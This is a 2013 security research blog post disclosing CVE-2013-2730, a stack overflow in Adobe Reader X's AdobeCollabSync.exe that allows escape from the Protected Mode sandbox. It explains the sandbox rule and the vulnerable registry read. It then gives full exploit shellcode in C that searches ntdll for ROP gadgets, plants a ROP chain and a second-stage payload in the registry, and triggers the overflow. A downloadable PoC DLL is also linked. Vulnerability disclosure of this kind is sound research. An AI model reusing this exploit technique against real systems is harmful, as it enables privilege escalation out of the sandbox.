Wednesday, May 15, 2013

Adobe Reader X Sandbox bypass - CVE-2013-2730

AdobeCollabSync stack overflow

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
  • Title: AdobeCollabSync stack overflow
  • CVE Name: CVE-2013-2730
  • Permalink: http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html
  • Date published: 2013-05-15
  • Date of last update: 2013-05-15
  • Class: Sandbox bypass
One of the Adobe Reader X companion programs, AdobeCollabSync.exe, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.

Vulnerability Details

The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe). A registry value writable from the target is read by AdobeCollabSync.exe into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.

The Sandbox

Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.

The rule

The one we are interested follows:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY
Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.

Review Tracker

The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see who’s joined a shared review and how many comments they've published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Tracker... . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0 in the target (that's version 10.1.4).

On the AdobeCollabSync.exe process

Consider the trace of AdobeCollabSync.exe on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe reads one of the registry keys that are writable by the target process. For example the registry key:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB
Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:

Vulnerable function

The vulnerable function can be found at AdobeCollabSync.exe+9C1F0. It uses RegQueryValueRegExW to read values from the registry. The cbData parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.
  1. int
  2. READKEY_49C1F0(void *this, char *name, int a3) {
  3.   void * namew;
  4.   int cbData, Type, Data;
  5.   namew = AnsiToUnicode(concat("b", name) );
  6.   if ( !RegQueryValueExW(*((HKEY *)this_ + 2),
  7.                             (LPCWSTR)namew,
  8.                             0,
  9.                             &Type,
  10.                             (LPBYTE)&Data,
  11.                             &cbData) && Type == 4 ){
  12.       ...   // everything ok
  13.       return Data!=0;
  14.     }
  15.   ...  //error
  16.   return a3;
  17. }

Exploitation details

The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe processes. A fresh AdobeCollabSync.exe process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500 bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.

ASLR

There are no fixed dlls in AdobeCollabSync.exe. Hence an attacker already on the system may learn the address of ntll and assume that the newly created process will reuse the same address. This won’t hold with BIB.dll and AXE8SharedExpad.dll. The address of VirtualProtect as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.
HEXAssembler
C3RET
89 0f C3 MOV dword ptr [EDI], ECX
RET
5F C3POP EDI
RET
59 C3 POP ECX RET
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe.
  1. int
  2. shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){
  3.     int i,j,k;
  4.     HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
  5.     DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
  6.     HMODULE ntdll = GetModuleHandle("ntdll");
  7.     HMODULE kernel32 = GetModuleHandle("kernel32");
  8.     VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
  9.     RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
  10.     RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
  11.     RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
  12.     CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
  13.     ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
  14.     RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
  15.     RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
  16.     Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
  17.     union{
  18.          char c[0x1000];
  19.          int  i[0];
  20.     } buffer;
  21.     HMODULE collab_proc;
  22.     HANDLE key = 0;
  23.     // Search for gadgets in ntdll
  24.     unsigned char* gadget_ret;
  25.     unsigned char* gadget_mov_dword_edi_ecx_ret;
  26.     unsigned char* gadget_pop_edi_ret;
  27.     unsigned char* gadget_pop_ecx_ret;
  28.     //Search gadget MOV DWORD [EDI], ECX; RET
  29.     for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
  30.         gadget_mov_dword_edi_ecx_ret < (unsigned char*)ntdll+0xd6000;
  31.         gadget_mov_dword_edi_ecx_ret++){
  32.         if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
  33.              gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
  34.              gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
  35.             break;
  36.     }
  37.     //Search gadget RET
  38.     gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
  39.     //Search gadget POP EDI; RET
  40.     for(gadget_pop_edi_ret = ntdll+0x10000;
  41.         gadget_pop_edi_ret < ntdll+0xd6000;
  42.         gadget_pop_edi_ret++){
  43.         if ( gadget_pop_edi_ret[0] == 0x5F &&
  44.              gadget_pop_edi_ret[1] == 0xc3)
  45.             break;
  46.     }
  47.     //Search gadget POP ECX; RET
  48.     for(gadget_pop_ecx_ret = ntdll+0x10000;
  49.         gadget_pop_ecx_ret < ntdll+0xd6000;
  50.         gadget_pop_ecx_ret++){
  51.         if ( gadget_pop_ecx_ret[0] == 0x59 &&
  52.              gadget_pop_ecx_ret[1] == 0xc3)
  53.             break;
  54.     }
  55.     {
  56.      int * mem = MEMBASE;
  57.      unsigned buffer_used;
  58.      //Make rop using BIB.dll adress (same in all proc)
  59.      i=0;
  60.      buffer.i[i++]=0x58000000+i;
  61.      buffer.i[i++]=0x58000000+i;
  62.      buffer.i[i++]=0;              //Must be zero
  63.      buffer.i[i++]=0x58000000+i;
  64.      //4
  65.      buffer.i[i++]=0x58000000+i;
  66.      buffer.i[i++]=0x58000000+i;
  67.      buffer.i[i++]=0x58000000+i;
  68.      buffer.i[i++]=gadget_ret; //<Starts here
  69.      //8
  70.      buffer.i[i++]=0x58000000+i;
  71.      buffer.i[i++]=0x58000000+i;
  72.      buffer.i[i++]=VirtualAlloc;
  73.      buffer.i[i++]=gadget_ret; //RET1;
  74.      buffer.i[i++]=mem;        // lpAddress,
  75.      buffer.i[i++]=0x00010000; // SIZE_T dwSize
  76.      buffer.i[i++]=0x00003000; // DWORD flAllocationType
  77.      buffer.i[i++]=0x00000040; // flProtect
  78.      k=0;
  79.      for(j=0;j&lt;sizeof(regkey)/4+1;j+=1){
  80.          buffer.i[i++]=gadget_pop_edi_ret;
  81.          buffer.i[i++]=((int*)mem)+k++;
  82.          buffer.i[i++]=gadget_pop_ecx_ret;
  83.          buffer.i[i++]=((int*)regkey)[j];
  84.          buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
  85.      }
  86.      buffer.i[i++]=RegGetValueA;
  87.      buffer.i[i++]=(void*)mem+0x1000;           //RET
  88.      buffer.i[i++]=HKEY_CURRENT_USER;    //hkey
  89.      buffer.i[i++]=mem;                  //lpSubKey
  90.      buffer.i[i++]=(void*)mem+0x3a;             //lpValue
  91.      buffer.i[i++]=RRF_RT_ANY;           //dwFlags
  92.      buffer.i[i++]=0;                    //pdwType
  93.      buffer.i[i++]=(void*)mem+0x1000;           //pvData
  94.      buffer.i[i++]=(void*)mem+0x44;               //pcbData
  95.      buffer_used = i*sizeof(buffer.i[i]);
  96.      //Set up vulnerable registry key
  97.      RegCreateKeyExA(HKEY_CURRENT_USER,
  98.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  99.                      0 /*reserved*/,
  100.                      NULL /*lpclass*/,
  101.                      REG_OPTION_NON_VOLATILE /*Options*/,
  102.                      KEY_ALL_ACCESS /*samDesired*/,
  103.                      NULL /*SecurityAttribs*/,
  104.                      &key,
  105.                      NULL); //if not ERROR_SUCCES bail out
  106.      RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
  107.      RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
  108.      RegCloseKey(key);
  109.      // Tell the broker to execute AdobeCollabSync
  110.      collab_proc = docollab(0xbc);
  111.      // Sleep
  112.      Sleep(1000);
  113.      // Close collab_proc
  114.      CloseHandle(collab_proc);
  115.      // Clean registry
  116.      // RegSetValue
  117.      RegCreateKeyExA(HKEY_CURRENT_USER,
  118.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  119.                      0 /*reserved*/,
  120.                      NULL /*lpclass*/,
  121.                      REG_OPTION_NON_VOLATILE /*Options*/,
  122.                      KEY_ALL_ACCESS /*samDesired*/,
  123.                      NULL /*SecurityAttribs*/,
  124.                      &key,
  125.                      NULL); //if not ERROR_SUCCES bail out
  126.      //RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
  127.      RegDeleteValueA(key, "shellcode");
  128.      RegDeleteValueA(key, "bDeleteDB");
  129.      RegCloseKey(key);
  130.      // Sleep
  131.      Sleep(1000);
  132.      // TODO: check success
  133.      ExitProcess(0);
  134.      //retry or spawn other target?
  135.     }
  136. }
To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewer's ReflectiveDLLInjection project we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle and GetProcAddress functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn:

No comments:

Post a Comment